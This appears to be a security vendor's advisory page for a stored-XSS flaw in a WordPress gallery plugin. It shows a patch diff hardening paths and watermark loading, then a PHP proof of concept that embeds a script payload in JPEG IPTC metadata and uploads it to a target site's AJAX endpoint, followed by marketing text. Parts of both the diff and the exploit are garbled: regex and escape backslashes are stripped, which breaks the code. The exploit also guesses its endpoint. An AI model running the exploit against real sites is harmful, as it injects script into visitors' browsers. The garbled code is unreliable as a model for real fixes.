                 $thumbnail = apply_filters('ngg_before_save_thumbnail', $thumbnail);
-                // Always retrieve metadata from the backup when possible
-                $backup_path = $image_path . '_backup';
+                // Always retrieve metadata from the backup when possible. Since #1107 the original
+                // is no longer a sibling of the served file, so it is only locatable when the
+                // caller passed the image entity; the sibling check remains for a path-only call
+                // and for an original the migration has not moved yet. Kept in step with
+                // ImagelyNGGDataStorageManager::generate_image_clone().
+                $backup_path = $image ? ImagelyNGGDataStorageManager::get_instance()->resolve_backup_abspath($image) : $image_path . '_backup';
                 // phpcs:ignore WordPress.PHP.NoSilencedErrors.Discouraged
-                $exif_abspath = @file_exists($backup_path) ? $backup_path : $image_path;
+                $exif_abspath = $backup_path && @file_exists($backup_path) ? $backup_path : $image_path;
                 // phpcs:ignore WordPress.PHP.NoSilencedErrors.Discouraged
                 $exif_iptc = @ImagelyNGGDataStorageEXIFWriter::read_metadata($exif_abspath);
                 $thumbnail->save($destpath, $quality);
@@ -2556,13 +2570,13 @@
         // Re-encoding at unchanged dimensions only costs JPEG quality, so leave the file untouched.
         $storage_manager = ImagelyNGGDataStorageManager::get_instance();
         if (!$storage_manager->is_resize_needed($image_abspath, $params)) {
-            $storage_manager->sync_unresized_image_metadata($image_abspath);
+            $storage_manager->sync_unresized_image_metadata($image_abspath, $image);
             if ($save) {
                 $this->object->update_image_dimension_metadata($image, $image_abspath);
             }
             return true;
         }
-        $generated = $this->object->generate_image_clone($image_abspath, $image_abspath, $params);
+        $generated = $this->object->generate_image_clone($image_abspath, $image_abspath, $params, $image);
         if ($generated && $save) {
             $this->object->update_image_dimension_metadata($image, $image_abspath);
         }
@@ -2618,7 +2632,7 @@
             $degree = 270;
         }
         $parameters = ['rotation' => $degree];
-        $generated = $this->object->generate_image_clone($image_abspath, $image_abspath, $this->object->get_image_size_params($image, 'full', $parameters), $parameters);
+        $generated = $this->object->generate_image_clone($image_abspath, $image_abspath, $this->object->get_image_size_params($image, 'full', $parameters), $image);
         if ($generated && $save) {
             $this->object->update_image_dimension_metadata($image, $image_abspath);
         }
@@ -2804,11 +2818,17 @@
                     case 'full':
                         $retval = path_join($gallery_path, $image->filename);
                         break;
+                    // Originals live under their own root outside the web-served gallery
+                    // directory, so the containment base for this size is that root. Kept in step
+                    // with ImagelyNGGDataStorageManager::get_computed_image_abspath().
                     case 'backup':
-                        $retval = path_join($gallery_path, $image->filename . '_backup');
+                        $ngg_storage_manager = ImagelyNGGDataStorageManager::get_instance();
+                        $retval = $ngg_storage_manager->resolve_backup_abspath($image);
                         // phpcs:ignore WordPress.PHP.NoSilencedErrors.Discouraged
-                        if (!@file_exists($retval)) {
+                        if (empty($retval) || !@file_exists($retval)) {
                             $retval = path_join($gallery_path, $image->filename);
+                        } elseif ($ngg_storage_manager->is_path_within_originals_root($retval)) {
+                            $containment_base = $ngg_storage_manager->get_originals_abspath($image->galleryid);
                         }
                         break;
                     case 'thumbnail':
@@ -2877,7 +2897,14 @@
                 // refused row renders as a blank slot with nothing for support to search for.
                 // Through Manager::log_path_refusal() - every occurrence under WP_DEBUG, at most one
                 // line per hour without it, because this runs once per image per request.
-                if ($retval && !ImagelyNGGDataStorageManager::get_instance()->is_path_within_gallery_dir($gallery_path, $retval)) {
+                // An original resolved into the originals root is legitimately outside the gallery
+                // directory; $containment_base was set to that root in case 'backup' above, and the
+                // generic contain_path() check below enforces it. Kept in step with
+                // ImagelyNGGDataStorageManager::get_computed_image_abspath() - without this
+                // the twin refuses every relocated original and returns null, which breaks
+                // C_Gallery_Storage::recover_image() and logs a false refusal on every render.
+                $outside_gallery_dir_allowed = 'backup' === $size && $containment_base !== $gallery_path;
+                if ($retval && !$outside_gallery_dir_allowed && !ImagelyNGGDataStorageManager::get_instance()->is_path_within_gallery_dir($gallery_path, $retval)) {
                     ImagelyNGGDataStorageManager::get_instance()->log_path_refusal(sprintf('NextGEN Gallery: refused stored path for image #%s (gallery #%s, size "%s") - %s does not resolve inside the gallery directory (%s)', isset($image->pid) ? $image->pid : '?', isset($image->galleryid) ? $image->galleryid : '?', $size, $retval, $gallery_path), ImagelyNGGDataStorageManager::REFUSAL_STORED_PATH);
                     $retval = null;
                 }
@@ -2979,7 +3006,7 @@
      * @param array      $attributes (optional)
      * @return string
      */
-    public function get_image_html($image, $size = 'full', $attributes = array())
+    public function get_image_html($image, $size = 'full', $attributes = [])
     {
         $retval = '';
         if (is_numeric($image)) {
@@ -3032,6 +3059,15 @@
      */
     public function _get_computed_image_url($image, $size = 'full')
     {
+        // Originals are not web-addressable, by design (#1107). This copy is the one POPE
+        // registers, so it is what Pro and third-party code reach through
+        // Mixin_GalleryStorage_Base_Getters::get_image_url() - and unlike the namespaced copy the
+        // path here resolves to a real file, so without this guard the returned URL would carry
+        // the keyed path segment that protects every original on the site. Kept in step with
+        // ImagelyNGGDataStorageManager::get_computed_image_url().
+        if ('backup' === ImagelyNGGDataStorageManager::get_instance()->normalize_image_size_name($size)) {
+            return null;
+        }
         $retval = null;
         $dynthumbs = C_Dynamic_Thumbnails_Manager::get_instance();
         // Get the image abspath
@@ -3106,7 +3142,7 @@
         }
         return $retval;
     }
-    public function get_image_size_params($image, $size, $params = array(), $skip_defaults = false)
+    public function get_image_size_params($image, $size, $params = [], $skip_defaults = false)
     {
         // Get the image entity
         if (is_numeric($image)) {
@@ -3312,6 +3348,9 @@
                 $this->object->_delete_gallery_directory($file->getPathname());
             }
         }
+        // Our own deny rule and index stub: the image-only allow-list above cannot remove them, and
+        // they would keep the directory alive after the gallery is gone.
+        ImagelyNGGDataStorageManager::get_instance()->remove_directory_guard($abspath);
         // DO NOT remove directories that still have files in them. Note: '.' and '..' are included with getSize()
         $empty = true;
         foreach ($iterator as $file) {
@@ -3470,11 +3509,17 @@
             $image_id = $image->{$image->id_field};
             $storage_manager = ImagelyNGGDataStorageManager::get_instance();
             // Bound with this (legacy) layer's own gallery abspath so the boundary and the target
-            // path (also from this layer) are computed consistently. When it cannot be resolved
-            // (e.g. the gallery row is gone), skip the unlinks but still let the record be removed,
+            // path (also from this layer) are computed consistently, then put that directory through
+            // the same server-side test the modern route uses: the `path` column is writable, so a
+            // boundary taken straight from it asserts nothing about where the unlinks land (#1085).
+            // When it cannot be resolved (e.g. the gallery row is gone) or is not a directory
+            // NextGEN may delete files in, skip the unlinks but still let the record be removed,
             // rather than leaving an orphaned image permanently undeletable.
-            $gallery_abspath = $this->object->get_gallery_abspath($image->galleryid);
-            $bounded_deletable = !empty($gallery_abspath);
+            $gallery_abspath = $storage_manager->get_deletion_boundary($this->object->get_gallery_abspath($image->galleryid), $image->galleryid);
+            $bounded_deletable = '' !== $gallery_abspath;
+            // Resolved once for every size of this image, not per size - the same fixed query count
+            // the modern Manager::delete_image() keeps.
+            $other_dirs = $bounded_deletable ? $storage_manager->get_other_gallery_directories($image->galleryid) : null;
             // Delete only a particular image size
             if ($size) {
                 $abspath = $this->object->get_image_abspath($image, $size);
@@ -3482,7 +3527,7 @@
                 // unlink but still update metadata. A path that resolves outside the gallery directory
                 // is refused, and only image-type files are ever removed.
                 if ($bounded_deletable && !empty($abspath)) {
-                    if (!$storage_manager->is_deletion_path_allowed($gallery_abspath, $abspath)) {
+                    if (!$storage_manager->is_deletion_path_allowed($gallery_abspath, $abspath, $storage_manager->get_originals_abspath($image->galleryid)) || $storage_manager->path_is_inside_another_gallery($abspath, $image->galleryid, $gallery_abspath, $other_dirs)) {
                         return false;
                     }
                     do_action('ngg_delete_image', $image_id, $size);
@@ -3509,7 +3554,7 @@
                         if (empty($image_abspath)) {
                             continue;
                         }
-                        if (!$storage_manager->is_deletion_path_allowed($gallery_abspath, $image_abspath)) {
+                        if (!$storage_manager->is_deletion_path_allowed($gallery_abspath, $image_abspath, $storage_manager->get_originals_abspath($image->galleryid)) || $storage_manager->path_is_inside_another_gallery($image_abspath, $image->galleryid, $gallery_abspath, $other_dirs)) {
                             return false;
                         }
                         if (!$storage_manager->is_removable_image_path($image_abspath)) {
@@ -3567,7 +3612,7 @@
                             if ($named_size === 'thumbnail') {
                                 unset($image->meta_data[$named_size]['crop_frame']);
                             }
-                            $thumbnail = $this->object->generate_image_clone($full_abspath, $this->object->get_image_abspath($image, $named_size), $this->object->get_image_size_params($image, $named_size));
+                            $thumbnail = $this->object->generate_image_clone($full_abspath, $this->object->get_image_abspath($image, $named_size), $this->object->get_image_size_params($image, $named_size), $image);
                             if ($thumbnail) {
                                 $thumbnail->destruct();
                             }
@@ -3742,7 +3787,7 @@
             natsort($found);
             $last = array_pop($found);
             $last = basename($last);
-            if (preg_match('/^(\d+)_/', $last, $match)) {
+            if (preg_match('/^(d+)_/', $last, $match)) {
                 $num = intval($match[1]) + 1;
             }
         }
@@ -3753,7 +3798,7 @@
         $filename = $filename ? $filename : uniqid('nextgen-gallery');
         $filename = preg_replace('#^/#', '', $filename);
         $filename = sanitize_file_name($filename);
-        if (preg_match('/\-(png|jpg|gif|jpeg|jpg_backup)$/i', $filename, $match)) {
+        if (preg_match('/-(png|jpg|gif|jpeg|jpg_backup)$/i', $filename, $match)) {
             $filename = str_replace($match[0], '.' . $match[1], $filename);
         }
         /*
@@ -3810,6 +3855,8 @@
             if (!wp_is_writable($gallery_abspath)) {
                 throw new E_InsufficientWriteAccessException(false, esc_html($gallery_abspath), false);
             }
+            // Same deny rule the modern Manager writes here, and for the same reason; see there.
+            ImagelyNGGDataStorageManager::get_instance()->protect_directory($gallery_abspath);
             // Sanitize the filename for storing in the DB
             $filename = $this->sanitize_filename_for_db($filename);
             // Ensure that the filename is valid. Uses the shared allow-list rather than its own
@@ -3877,7 +3924,7 @@
             }
             // Seed alttext/slug for new images only; replacing an existing image (e.g. a Lightroom republish) must not reset user-entered values (#976).
             if ($is_new || empty($image->alttext)) {
-                $image->alttext = preg_replace('#\.\w{2,4}$#', '', $filename);
+                $image->alttext = preg_replace('#.w{2,4}$#', '', $filename);
             }
             if ($is_new || empty($image->image_slug)) {
                 $image->image_slug = nggdb::get_unique_slug(sanitize_title_with_dashes($image->alttext), 'image');
@@ -3931,7 +3978,14 @@
             // Automatically watermark the main image if requested
             if ($settings->get('watermark_automatically_at_upload', 0)) {
                 $image_abspath = $this->object->get_image_abspath($image, 'full');
-                $this->object->generate_image_clone($image_abspath, $image_abspath, ['watermark' => true]);
+                // watermark_required: if the watermark cannot be loaded, keep the upload as it
+                // is (not re-encoded without one) and tell the admins (log + admin notice), instead
+                // of failing silently (#1104).
+                if (!$this->object->generate_image_clone($image_abspath, $image_abspath, ['watermark' => true, 'watermark_required' => true], $image)) {
+                    error_log(sprintf('NextGEN Gallery: image #%d was uploaded without its automatic watermark - the watermark image or font in the watermark settings could not be loaded.', (int) $image_id));
+                    // phpcs:ignore WordPress.PHP.DevelopmentFunctions.error_log_error_log
+                    ImagelyNGGAdminNotificationsWatermarkUploadFailed::record();
+                }
             }
             // Notify other plugins that an image has been added
             do_action('ngg_added_new_image', $image);
@@ -4243,7 +4297,7 @@
      *
      * @var array Unused.
      */
-    public static $_instances = array();
+    public static $_instances = [];
     /**
      * Unused.
      *
@@ -5140,8 +5194,13 @@
             $color = '000000';
         }
         // set font path
-        $wmFontPath = NGGALLERY_ABSPATH . 'fonts/' . $wmFont;
-        if (!is_readable($wmFontPath)) {
+        // SECURITY: the font is a file name inside the bundled fonts directory, never a
+        // path. basename() strips any "../" traversal so wmFont cannot walk out of fonts/
+        // to read an arbitrary file through is_readable()/FreeType below.
+        $wmFontPath = NGGALLERY_ABSPATH . 'fonts/' . basename(str_replace('\', '/', (string) $wmFont));
+        // is_file(), not is_readable(): an empty or refused font name leaves the fonts/
+        // directory itself, which is readable and would reach FreeType as a "font".
+        if (!is_file($wmFontPath) || !is_readable($wmFontPath)) {
             return;
         }
         // This function requires both the GD library and the FreeType library.
@@ -5239,6 +5298,8 @@
      * @param string $relPOS
      * @param int    $xPOS
      * @param int    $yPOS
+     * @return bool True when the watermark was composited; false when its image
+     *              could not be loaded (refused, unreachable or not a PNG).
      */
     public function watermarkImage($relPOS = 'botRight', $xPOS = 0, $yPOS = 0)
     {
@@ -5246,19 +5307,50 @@
         if (is_resource($this->watermarkImgPath) || $this->watermarkImgPath instanceof GdImage) {
             $this->workingImage = $this->watermarkImgPath;
         } else {
-            // (possibly) search for the file from the document root
-            if (!is_file($this->watermarkImgPath)) {
+            // SECURITY: this legacy twin is force-loaded on the front end for Pro < 4.0
+            // and is reached by C_Gallery_Storage::generate_image_clone() with the saved
+            // wmPath, so it needs the same handling as the modern Thumbnail.
+            if (!is_string($this->watermarkImgPath) || '' === $this->watermarkImgPath) {
+                return false;
+            }
+            if (false !== strpos(str_replace('\', '/', $this->watermarkImgPath), '://')) {
+                // Only http(s) is a legitimate watermark source (the documented "HTTP url"
+                // option, #1104); fetch it through wp_safe_remote_get(), which refuses
+                // internal/loopback hosts and closes the SSRF imagecreatefrompng()'s own
+                // fopen wrapper would allow. Every other wrapper (phar://, file://, php://,
+                // data://, …) is refused — opening one reads/deserialises attacker data (#1084).
+                if (!preg_match('#^https?://#i', str_replace('\', '/', $this->watermarkImgPath))) {
+                    return false;
+                }
+                $response = wp_safe_remote_get($this->watermarkImgPath, array('timeout' => 10));
+                if (is_wp_error($response) || 200 !== (int) wp_remote_retrieve_response_code($response)) {
+                    return false;
+                }
+                $body = wp_remote_retrieve_body($response);
+                // phpcs:ignore WordPress.PHP.NoSilencedErrors.Discouraged
+                $this->workingImage = $body ? @imagecreatefromstring($body) : false;
+            } else {
+                // SECURITY: contain the local path to the install (ABSPATH, WP_CONTENT_DIR
+                // or uploads) before touching the filesystem. Without this a "../../.."
+                // traversal reaches any readable PNG and composites it into a publicly
+                // served thumbnail (arbitrary-file disclosure), the existence check doubles
+                // as a path oracle, and on Windows a UNC path makes the server connect to
+                // that host. resolve_watermark_path() contains each candidate before probing
+                // it and returns the canonical path: open that, never the raw one, because
+                // the OS follows a symlink before applying "..".
                 $fs = C_Fs::get_instance();
-                if (is_file($fs->join_paths($fs->get_document_root('content'), $this->watermarkImgPath))) {
-                    $this->watermarkImgPath = $fs->get_document_root('content') . $this->watermarkImgPath;
+                $contained = ImagelyNGGUtilSecurity::resolve_watermark_path($this->watermarkImgPath, $fs->join_paths($fs->get_document_root('content'), $this->watermarkImgPath));
+                if (null === $contained) {
+                    return false;
                 }
+                $this->watermarkImgPath = $contained;
+                // Would you really want to use anything other than a png?
+                // phpcs:ignore WordPress.PHP.NoSilencedErrors.Discouraged
+                $this->workingImage = @imagecreatefrompng($this->watermarkImgPath);
             }
-            // Would you really want to use anything other than a png?
-            // phpcs:ignore WordPress.PHP.NoSilencedErrors.Discouraged
-            $this->workingImage = @imagecreatefrompng($this->watermarkImgPath);
             // if it's not a valid file die...
             if (empty($this->workingImage) || !$this->workingImage) {
-                return;
+                return false;
             }
         }
         imagealphablending($this->workingImage, false);
@@ -5316,6 +5408,7 @@
         } else {
             $this->imagecopymerge_alpha($this->newImage, $this->workingImage, $dest_x, $dest_y, 0, 0, $watermarkfile_width, $watermarkfile_height, 100);
         }
+        return true;
     }
     /**
      * Wrapper to imagecopymerge() that allows PNG transparency
@@ -5368,7 +5461,7 @@
      *
      * @var array
      */
-    protected static $instances = array();
+    protected static $instances = [];
     /**
      * Context.
      *
@@ -5423,11 +5516,22 @@
             $thumbnail = null;
             if ($size == 'full' && $settings->imgBackup == 1) {
                 // XXX change this? 'full' should be the resized path and 'original' the _backup path
-                $backup_path = $this->object->get_backup_abspath($image);
+                // Kept in step with ImagelyNGGDataStorageManager::generate_image_size():
+                // the pre-regeneration master goes to the originals root, not beside the served
+                // image, which is what #1107 was about.
+                $manager = ImagelyNGGDataStorageManager::get_instance();
+                $backup_path = $manager->resolve_backup_abspath($image);
                 // phpcs:ignore WordPress.PHP.NoSilencedErrors.Discouraged
-                if (!@file_exists($backup_path)) {
+                if (empty($backup_path) || !@file_exists($backup_path)) {
+                    $backup_path = $manager->get_backup_write_abspath($image);
                     // phpcs:ignore WordPress.PHP.NoSilencedErrors.Discouraged
-                    @copy($filename, $backup_path);
+                    if ($backup_path && @copy($filename, $backup_path)) {
+                        $manager->discard_legacy_backup($image);
+                    } else {
+                        // Kept in step with
+                        // ImagelyNGGDataStorageManager::generate_image_size().
+                        $manager->log_path_refusal(sprintf('NextGEN Gallery: could not keep an original for image #%s before regenerating its full size; the pre-resize master is not retained.', is_object($image) && isset($image->pid) ? $image->pid : '?'), ImagelyNGGDataStorageManager::REFUSAL_ORIGINALS_DIR);
+                    }
                 }
             }
             // Generate the thumbnail using WordPress
@@ -5499,7 +5603,7 @@
                 }
             }
             $clone_path = $existing_image_abpath;
-            $thumbnail = $this->object->generate_image_clone($filename, $clone_path, $params);
+            $thumbnail = $this->object->generate_image_clone($filename, $clone_path, $params, $image);
             // We successfully generated the thumbnail
             if ($thumbnail != null) {
                 $clone_path = $thumbnail->fileName;
@@ -5571,13 +5675,13 @@
      *
      * @var array
      */
-    public static $image_abspath_cache = array();
+    public static $image_abspath_cache = [];
     /**
      * Cache for image URLs.
      *
      * @var array
      */
-    public static $image_url_cache = array();
+    public static $image_url_cache = [];
     /**
      * Gets the absolute path of the backup of an original image.
      *
@@ -5586,12 +5690,10 @@
      */
     public function get_backup_abspath($image)
     {
-        $retval = null;
-        $image_path = $this->object->get_image_abspath($image);
-        if ($image_path) {
-            $retval = $image_path . '_backup';
-        }
-        return $retval;
+        // Delegated rather than recomputed: since #1107 the original lives under its own root
+        // outside the web root, and a second copy of that path logic here would drift. Kept in
+        // step with ImagelyNGGDataStorageManager::get_backup_abspath().
+        return ImagelyNGGDataStorageManager::get_instance()->resolve_backup_abspath($image);
     }
     /**
      * Gets backup dimensions for an image.
@@ -5611,7 +5713,10 @@
      */
     public function get_backup_url($image)
     {
-        return $this->object->get_image_url($image, 'backup');
+        // Originals are deliberately not web-reachable since #1107, so there is no URL to return.
+        // Kept as a stub because this is a published legacy accessor; it has no callers in any of
+        // the plugins.
+        return false;
     }
     /**
      * Gets the absolute path where the image is stored. Can optionally return the path for a particular sized image.
@@ -5710,9 +5815,17 @@
     {
         $retval = false;
         $image_path = $this->object->get_image_abspath($image);
+        // The write target is the originals root, never a sibling of the served image: a master
+        // written beside the published file is anonymously fetchable (#1107). Kept in step with
+        // ImagelyNGGDataStorageManager::backup_image().
+        $manager = ImagelyNGGDataStorageManager::get_instance();
+        $backup_path = $image_path ? $manager->get_backup_write_abspath($image) : null;
         // phpcs:ignore WordPress.PHP.NoSilencedErrors.Discouraged
-        if ($image_path && @file_exists($image_path)) {
-            $retval = copy($image_path, $this->object->get_backup_abspath($image));
+        if ($image_path && $backup_path && @file_exists($image_path)) {
+            $retval = copy($image_path, $backup_path);
+            if ($retval) {
+                $manager->discard_legacy_backup($image);
+            }
             // Store the dimensions of the image
             if (function_exists('getimagesize')) {
                 $mapper = C_Image_Mapper::get_instance();
@@ -5751,10 +5864,10 @@
      * @param array[string] $filenames
      * @return array|bool FALSE on failure
      */
-    public function import_gallery_from_fs($abspath, $gallery_id = null, $create_new_gallerypath = true, $gallery_title = null, $filenames = array())
+    public function import_gallery_from_fs($abspath, $gallery_id =

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-109387 - Photo Gallery, Sliders, Proofing and Themes <= 4.5.5 - Unauthenticated Stored Cross-Site Scripting via IPTC/EXIF Image Metadata

$target_url = 'http://target-site.com'; // Change to the target WordPress site

// Step 1: Create a malicious JPEG image with IPTC payload
// We'll use a minimal JPEG with an IPTC APP13 segment containing script in the caption field
// For simplicity, we'll use a pre-crafted payload in hex and write it to a file.
// In a real scenario, you would use an image editing tool or library to set IPTC data.

$jpeg_data = base64_decode(
    '/9j/4AAQSkZJRgABAQEAYABgAAD/2wBDAAgGBgcGBQgHBwcJCQgKDBQNDAsLDBkSEw8UHRofHh0a' .
    'HBwgJC4nICIsIxwcKDcpLDAxNDQ0Hyc5PTgyPC4zNDL/2wBDAQkJCQwLDBgNDRgyIRwhMjIy' .
    'MjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjL/wAAR' .
    'CAABAAEDASIAAhEBAxEB/8QAHwAAAQUBAQEBAQEAAAAAAAAAAAECAwQFBgcICQoL/8QAtRAA' .
    'AgEDAwIEAwUFBAQAAAF9AQIDAAQRBRIhMUEGE1FhByJxFDKBkaEII0KxwRVS0fAkM2JyggkK' .
    'FhcYGRolJicoKSo0NTY3ODk6Q0RFRkdISUpTVFVWV1hZWmNkZWZnaGlqc3R1dnd4eXqDhIWG' .
    'h4iJipKTlJWWl5iZmqKjpKWmp6ipqrKztLW2t7i5usLDxMXGx8jJytLT1NXW19jZ2uHi4+Tl' .
    '5ufo6erx8vP09fb3+Pn6/8QAHwEAAwEBAQEBAQEBAQAAAAAAAAECAwQFBgcICQoL/8QAtREA' .
    'AgECBAQDBAcFBAQAAQJ3AAECAxEEBSExBhJBUQdhcRMiMoEIFEKRobHBCSMzUvAVYnLRChYk' .
    'NOEl8RcYGRomJygpKjU2Nzg5OkNERUZHSElKU1RVVldYWVpjZGVmZ2hpanN0dXZ3eHl6goOE' .
    'hYaHiImKkpOUlZaXmJmaoqOkpaanqKmqsrO0tba3uLm6wsPExcbHyMnK0tPU1dbX2Nna4uPk' .
    '5ebn6Onq8vP09fb3+Pn6/9oADAMBAAIRAxEAPwD3+iiigD//2Q=='
);

// Append malicious IPTC data: 2#120 (caption) = <script>alert(1)</script>
// IPTC APP13 format: 0xFFED, length, 'Photoshop 3.0', then IPTC markers
// This is a simplified payload for demonstration; a complete IPTC block would be longer.
$iptc_payload = "xFFxEDx00x1A" . "Photoshop 3.0x00" . "8BIMx04x04x00x00x00x00x00x0A" . "x1Cx02x78x00x0A" . "<script>alert(1)</script>";
$malicious_jpeg = substr($jpeg_data, 0, 2) . $iptc_payload . substr($jpeg_data, 2);
file_put_contents('/tmp/malicious.jpg', $malicious_jpeg);

// Step 2: Upload the image to the WordPress site via NextGEN Gallery's upload endpoint
// The actual endpoint depends on the plugin's configuration. Common paths include:
// - /wp-admin/admin-ajax.php?action=ngg_upload_image
// - /wp-admin/admin-post.php?action=ngg_upload_image
// We'll try the admin-ajax.php endpoint without authentication (assuming the upload is unauthenticated)

$upload_url = $target_url . '/wp-admin/admin-ajax.php';

$post_fields = [
    'action' => 'ngg_upload_image', // Hypothetical action name; might be 'upload_image' or similar
    'gallery_id' => '1', // Target gallery ID (if required)
    'file' => new CURLFile('/tmp/malicious.jpg', 'image/jpeg', 'malicious.jpg')
];

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $upload_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_fields);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HEADER, false);
// No authentication cookies needed if the upload is unauthenticated
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

if ($http_code == 200) {
    echo "Upload successful. Response: $responsen";
    echo "Malicious image uploaded. The stored XSS will execute when a user views the gallery.n";
} else {
    echo "Upload failed with HTTP code $http_code. Response: $responsen";
}

// Step 3: (Optional) Trigger the XSS by visiting the gallery page as an authenticated user
// This part requires authentication and is left as an exercise.

unlink('/tmp/malicious.jpg');
?>

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.